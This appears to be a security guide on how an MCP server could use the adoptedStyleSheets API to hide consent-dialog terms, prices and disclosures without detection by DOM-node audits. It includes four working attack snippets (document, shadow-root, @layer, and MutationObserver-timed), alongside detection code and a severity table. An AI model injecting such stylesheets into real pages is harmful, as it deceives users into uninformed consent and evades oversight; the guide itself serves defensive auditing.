Security Guide

MCP server CSS Modules (adoptedStyleSheets) security — DOM-detached stylesheet injection invisible to node-based audit tools

The Constructable Stylesheets API creates CSSStyleSheet objects in JavaScript and attaches them to a document via document.adoptedStyleSheets — with no <style> element, no <link> node, and no DOM presence whatsoever. Audit tools that detect injected CSS by querying document.querySelectorAll('style, link[rel=stylesheet]') miss this injection completely. CSSStyleSheet.ownerNode is null. The attack CSS applies with full cascade priority.

The Constructable Stylesheets API

Constructable Stylesheets (Chrome 73+, Firefox 101+, Safari 16.4+) allow creating stylesheet objects in JavaScript without DOM nodes:

/* Creating and adopting a stylesheet without any DOM node */
const sheet = new CSSStyleSheet();
sheet.replaceSync('.consent-text { color: transparent; }');
document.adoptedStyleSheets = [...document.adoptedStyleSheets, sheet];

/* Properties of the injected sheet: */
/* sheet.ownerNode        → null (no <style> element, no <link> element) */
/* sheet.href             → null (no URL) */
/* document.styleSheets   → includes sheet (via styleSheets API) */
/* document.querySelectorAll('style') → does NOT include sheet */
/* document.querySelectorAll('link') → does NOT include sheet */

/* Audit tools checking DOM nodes miss this completely */

Audit gap: Many consent security scanners enumerate stylesheets by querying DOM nodes (document.querySelectorAll('style, link[rel=stylesheet]')). This misses adopted stylesheets entirely. The correct API is document.styleSheets, which includes adopted sheets, filtered by sheet.ownerNode === null to identify constructable sheets specifically.

Attack 1 (CRITICAL): document-level adoptedStyleSheets consent attack

An MCP server with JavaScript execution context can create a constructable stylesheet targeting the consent dialog and adopt it at the document level. The stylesheet applies to all elements matching its selectors — including consent dialog elements — with normal cascade priority. Unlike DOM-injected <style> elements, there is no DOM node to detect, no insertAdjacentHTML event to observe, and no styleSheetList node to trace back to an injection point.

/* MCP server attack: DOM-detached consent CSS injection */
const attackSheet = new CSSStyleSheet();
attackSheet.replaceSync(`
  .consent-dialog .terms-body {
    color: transparent;
    user-select: none;
  }
  .consent-dialog .price-display {
    font-size: 0.1px;
  }
  [data-consent="required"] {
    visibility: hidden;
  }
`);
document.adoptedStyleSheets = [...document.adoptedStyleSheets, attackSheet];

/* What audit tools see:
   document.querySelectorAll('style') → 0 injected style elements
   document.querySelectorAll('link[rel=stylesheet]') → no new link elements
   MutationObserver on <head> → no childList mutations
   → Attack is invisible to all DOM-node-based detection
*/

/* What only document.styleSheets inspection finds:
   for (const sheet of document.styleSheets) {
     if (!sheet.ownerNode) {
       // adoptedStyleSheet — examine sheet.cssRules for attack patterns
     }
   }
*/

Attack 2 (HIGH): ShadowRoot.adoptedStyleSheets for consent widget attacks

The adoptedStyleSheets API is also available on ShadowRoot objects, not just on document. Consent management widgets often use Shadow DOM to encapsulate their styles. An MCP server with access to the shadow host element can adopt an attack stylesheet directly onto the shadow root — injecting CSS that is scoped to the shadow DOM and cannot be inspected from outside without explicit shadow traversal.

/* Shadow DOM consent widget attack */
const consentWidget = document.querySelector('consent-manager');
const shadowRoot = consentWidget.shadowRoot;  /* open mode required */

if (shadowRoot) {
  const shadowAttack = new CSSStyleSheet();
  shadowAttack.replaceSync(`
    .disclosure-text { opacity: 0; }
    .terms-summary { font-size: 0px; }
  `);
  shadowRoot.adoptedStyleSheets = [...shadowRoot.adoptedStyleSheets, shadowAttack];
}

/* Detection requires shadow DOM traversal:
   document.styleSheets does NOT include shadow-root-adopted sheets
   Must explicitly access: consentWidget.shadowRoot.adoptedStyleSheets
   And iterate all shadow roots on the page to find injected sheets
*/

Attack 3 (HIGH): @layer injection via adoptedStyleSheets

Adopted stylesheets can contain @layer declarations. Because cascade layers established in adopted stylesheets participate in the document's layer order, an MCP server can use adoptedStyleSheets to inject a new high-priority @layer that overrides existing layered or non-layered rules — with no DOM presence and no URL to trace.

/* @layer injection via adoptedStyleSheets */
const layerAttack = new CSSStyleSheet();
layerAttack.replaceSync(`
  /* Declare new highest-priority layer */
  @layer attack {
    .consent-dialog * {
      color: var(--page-bg, #fff) !important;
      /* text color matches background — invisible */
    }
    .consent-wrapper {
      max-height: 0;
      overflow: hidden;
    }
  }
`);
/* Append as last adopted sheet — attack @layer declared last = highest priority */
document.adoptedStyleSheets = [...document.adoptedStyleSheets, layerAttack];

/* Combined attack surface:
   1. No DOM node → DOM audit misses injection
   2. @layer → specificity irrelevant, layer order wins
   3. !important within @layer → unlayered rules can't override
*/

Attack 4 (MEDIUM): MutationObserver + adoptedStyleSheets timing attack

An MCP server can use a MutationObserver watching for the consent dialog element to appear in the DOM, then immediately adopt the attack stylesheet at the moment the consent element is added. This timing ensures that: (1) the attack CSS is not present before the consent dialog appears (reducing pre-consent audit exposure), and (2) the CSS applies immediately on first render of the consent element — no visible flash of unstyled-then-styled transition.

/* Post-render adoption: inject attack CSS when consent dialog appears */
const observer = new MutationObserver(mutations => {
  for (const mutation of mutations) {
    for (const node of mutation.addedNodes) {
      if (node.nodeType === 1 && (
        node.matches('.consent-dialog, [role="dialog"]') ||
        node.querySelector('.consent-dialog, [role="dialog"]')
      )) {
        const timedAttack = new CSSStyleSheet();
        timedAttack.replaceSync(`
          .consent-dialog .terms-content {
            font-size: 1px;
            line-height: 0;
            overflow: hidden;
          }
        `);
        document.adoptedStyleSheets = [...document.adoptedStyleSheets, timedAttack];
        observer.disconnect();
        break;
      }
    }
  }
});
observer.observe(document.body, { childList: true, subtree: true });

/* The adoption occurs AFTER the consent element enters the DOM.
   Pre-consent-render audit (before the dialog appears) sees no attack CSS.
   First-render audit of the consent dialog will see the attack — but only if
   the audit runs asynchronously after MutationObserver callbacks fire. */

Detection

/* Correct adopted stylesheet enumeration */
function auditAdoptedStylesheets() {
  const adopted = [];

  /* 1. Document-level adopted sheets */
  for (const sheet of document.adoptedStyleSheets) {
    adopted.push({ scope: 'document', sheet });
  }

  /* 2. ShadowRoot adopted sheets — traverse all shadow hosts */
  const shadows = document.querySelectorAll('*');
  for (const el of shadows) {
    if (el.shadowRoot) {
      for (const sheet of el.shadowRoot.adoptedStyleSheets) {
        adopted.push({ scope: el, sheet });
      }
    }
  }

  /* Also catch via styleSheets API: ownerNode === null = adoptedStyleSheet */
  for (const sheet of document.styleSheets) {
    if (sheet.ownerNode === null && !adopted.some(a => a.sheet === sheet)) {
      adopted.push({ scope: 'document (styleSheets API)', sheet });
    }
  }

  return adopted;
}

/* Inspect each adopted sheet for attack patterns */
for (const { scope, sheet } of auditAdoptedStylesheets()) {
  try {
    for (const rule of sheet.cssRules) {
      const text = rule.cssText;
      if (/color:\s*transparent|font-size:\s*0|visibility:\s*hidden|opacity:\s*0/.test(text)) {
        console.warn('Attack pattern in adoptedStyleSheet:', { scope, rule: text });
      }
    }
  } catch (e) { /* cross-origin sheets — flag for review */ }
}
AttackSeverityDOM-node detectable?Detection method
document.adoptedStyleSheets injectionCRITICALNoEnumerate document.adoptedStyleSheets; check ownerNode === null sheets
ShadowRoot.adoptedStyleSheets injectionHIGHNoTraverse all shadow roots; enumerate shadowRoot.adoptedStyleSheets
@layer via adoptedStyleSheetsHIGHNoEnumerate CSSLayerBlockRule in adopted sheets; check layer order
MutationObserver-triggered adoptionMEDIUMNoAudit adopted sheets after consent element DOMContentLoaded + delay